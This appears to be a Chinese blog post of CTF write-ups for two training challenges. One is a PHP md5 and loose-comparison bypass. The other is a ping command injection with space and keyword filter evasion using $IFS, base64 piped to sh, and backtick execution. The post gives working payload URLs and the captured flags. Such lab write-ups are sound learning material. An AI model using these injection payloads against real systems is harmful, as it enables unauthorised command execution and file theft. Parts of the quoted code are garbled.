本文已参与「新人创作礼」活动,一起开启掘金创作之路。
[MRCTF2020]Ez_bypass
I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } else { echo "can you think twice??"; } } else{ echo 'You can not get it !'; } } else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else{ die('Please input first'); } }Please input first
一串字符右键查看下源码
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
GET和POST传参
(md5($id) === md5($gg) && $id !== $gg)=true
(!is_numeric($passwd) && $passwd==1234567)=true
网上搜索md5绕过发现根据MD5的特性,有两点漏洞
1.两个开头为0的md5值相同。
2.md5不能处理数组。
所以我们试一下用数组
id[]=1&&gg[]=2
You got the first steponly one way to get the flag
payload:view-source:http://3c443d05-cf96-480e-a75d-96e98bde49e3.node4.buuoj.cn:81/?id[]=1&&gg[]=2
第二步有个is_number()函数,了解后发现is_numeric() 函数用于检测变量是否为数字或数字字符串。
按要求,post传的不是数字但为1234567
var_dump(12=="12") // true
var_dump(12=="12aa") //true
var_dump( "admin"==0) //true
var_dump(false==""==0==NULL) //true
通过这个发现我们可以传个1234567a来进行绕过
试一试,不知为啥hackbar post (后来找到原因,原来要getPOST同时传才可以)不出来,于是我就尝试下BP
出了
flag{57c8080b-9b3d-441e-ad01-610bf72b5467}
[GXYCTF2019]Ping Ping Ping
开局只有个/?ip=
F12查看下,啥都没有,于是我们尝试PING一下//所谓的PING命令其实就是用于确定本地主机是否能与另一台主机成功交换(发送与接收)数据包,再根据返回的信息,就可以推断TCP/IP参数是否设置正确,以及运行是否正常、网络是否通畅等。
于是尝试随便PING一下
http://d6ba9f82-8c96-4e47-bd1a-32df6d3f69cf.node4.buuoj.cn:81/?ip=2
返回PING 2 (0.0.0.2): 56 data bytes 、、成功了
不知该干啥了试试用ls查下目录
http://d6ba9f82-8c96-4e47-bd1a-32df6d3f69cf.node4.buuoj.cn:81/?ip=2;ls
出了flag.php
index.php
尝试cat flag.php
http://d6ba9f82-8c96-4e47-bd1a-32df6d3f69cf.node4.buuoj.cn:81/?ip=2;cat%20flag.php
返回/?ip= fxck your space!
此路不通,空格被过滤了,
${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换
第一个
/?ip= 1fxck your symbol! 、、符号被过滤了
第二个
/?ip= fxck your flag! //明flag被过滤了咋搞
此路不通,看一看index.php
/?ip=
|'|"|\|(|)|[|]|{|}/", $ip, $match)){
echo preg_match("/&|/|?|*|<|[\x{00}-\x{20}]|>|'|"|\|(|)|[|]|{|}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
bash也被过滤
被过滤的bash,用管道+sh替换
cat flag.php用base64加密来绕过正则匹配
Y2F0IGZsYWcucGhw
?ip=127.0.0.1;echo1Y2F0IGZsYWcucGhw|base641-d|bash
//?ip= fxck your bash!
过滤了flag、bash,但sh没过滤,linux下可用sh
?ip=127.0.0.1;echo1Y2F0IGZsYWcucGhw|base641-d|sh
1
|sh 就是执行前面的echo脚本
?ip=2;a=g;cat$IFS$1fla$a.php; flag{ae5f2e24-33a3-4763-adec-ba1b08b271e8}
方法2:echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh //管道符,base64echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
其它绕过方法就不讲了
内敛绕过
内敛绕过
内联,就是将反引号内命令的输出作为输入执行。
?ip=127.0.0.1;cat$IFS$1`ls`